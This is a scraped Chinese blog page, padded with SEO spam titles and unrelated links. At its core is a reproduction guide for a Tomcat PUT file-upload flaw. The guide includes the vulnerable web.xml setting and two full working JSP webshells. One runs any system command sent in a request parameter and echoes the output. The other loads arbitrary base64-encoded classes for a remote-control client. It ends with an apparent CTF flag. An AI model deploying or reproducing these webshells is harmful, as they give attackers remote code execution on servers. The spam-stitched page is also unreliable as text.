当前位置: 首页 > news >正文

做垂直行业网站利润分析海淘一号 网站 怎么做的

做垂直行业网站利润分析,海淘一号 网站 怎么做的,wordpress app上传图片,企业管理系统免费下载1.1、漏洞原理 描述: Tomcat 是一个小型的轻量级应用服务器#xff0c;在中小型系统和并发访问用户不是很多的场合下被普遍使用#xff0c;是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件#x…1.1、漏洞原理 描述: Tomcat 是一个小型的轻量级应用服务器在中小型系统和并发访问用户不是很多的场合下被普遍使用是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件JSP文件中的恶意代码将能被服务器执行导致服务器上的数据泄露或获取服务器权限。 Tomcat 的 Servlet 是在 conf/web.xml 配置的通过配置文件可知当后缀名为 .jsp 和 .jspx 的时候是通过 JspServlet 处理请求的 而其他的静态文件是通过 DefaultServlet 处理的 可以得知“1.jsp ”末尾有一个空格并不能匹配到 JspServlet而是会交由 DefaultServlet 去处理。当处理 PUT 请求时 会调用 resources.bind dirContext 为 FileDirContext 调用 rebind 创建文件 又由于Windows 不允许“ ”作为文件名结尾所以会创建一个 .jsp 文件导致代码执行。 漏洞本质Tomcat配置了可写readonlyfalse导致我们可以往服务器写文件 servletservlet-namedefaultservlet-nameservlet-classorg.apache.catalina.servlets.DefaultServletservlet-classinit-paramparam-namedebugparam-nameparam-value0param-valueinit-paraminit-paramparam-namelistingsparam-nameparam-valuefalseparam-valueinit-paraminit-paramparam-namereadonlyparam-nameparam-valuefalseparam-valueinit-paramload-on-startup1load-on-startupservlet 1.2、影响范围不重要去试就行 Apache Tomcat 7.0.0 - 8.0.81  1.3、 漏洞指纹 tomcat 8009 ajp \x04\x01\xf4\x00\x15 1.4、漏洞复现 如下是回显jsp马 % if(023.equals(request.getParameter(pwd))){ java.io.InputStream in Runtime.getRuntime().exec(request.getParameter(i)).getInputStream(); int a -1; byte[] b new byte[2048]; out.print( );while((ain.read(b))!-1){ out.println(new String(b)); } out.print( ); } % 如下是连接的jsp一句话木马,密码是passwd %!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz Class.forName(sun.misc.BASE64Decoder);return (byte[]) clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz Class.forName(java.util.Base64);Object decoder clazz.getMethod(getDecoder).invoke(null);return (byte[]) decoder.getClass().getMethod(decode, String.class).invoke(decoder, str);}} % %String cls request.getParameter(passwd);if (cls ! null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);} % flag-{bmhbf13076b-9643-4a67-a3c1-550825a9f6ba}
http://wiki.neutronadmin.com/news/246368/

相关文章:

  • 网站做视频流量赚钱吗成都网站只
  • 网站开发创意设计免费单页在线制作
  • 网站建设开票单位页面设计怎么样
  • 一个网站费用谷歌官网网址
  • 机械类外贸网站建设新网官方网站
  • 外贸网站建设 广州可以做仿牌网站
  • 县区网站服务器机房建设网站建设主
  • 网站空间是啥免费空间凡科
  • 山东智能网站建设企业郑州网站定制外包
  • 建设网站的工作html网站开发相关书籍
  • 建设工程的招标网站有哪些酒店网站建设范文
  • 搭建网站开发网站环境书店网站建设人员分配
  • 爱站网工具3g小说网站
  • 济阳县做网站公司ftp修改wordpress密码
  • 网站建设常州青之峰云浮新增确诊病例
  • 手机电视直播网站大全淘宝代运营服务
  • 做电影网站要几G空间的电梯企业网站制作
  • 做网站放网站广告wordpress数据库链接不上
  • 人网站设计与制作微站是什么东西
  • 网站标签设计秦皇岛在线
  • 企业网站功能报价上海纯设计公司排名
  • 公司网站服务器租用成都龙泉建设网站
  • 网站建设询价公告个人博客系统wordpress
  • 医院网站开发兼职政务信息网站建设方案
  • 事业单位网站设计二维码 wordpress
  • 网页游戏网站在线玩淘宝网站首页是用什么软件做的
  • 网站备案帐号是什么情况Wordpress有用么
  • 简述网站开发设计流程seo厂家电话
  • 温州住房与城乡建设部网站佛山专业网站建设公司哪家好
  • 网站设计师联盟北京做网络工程公司的网站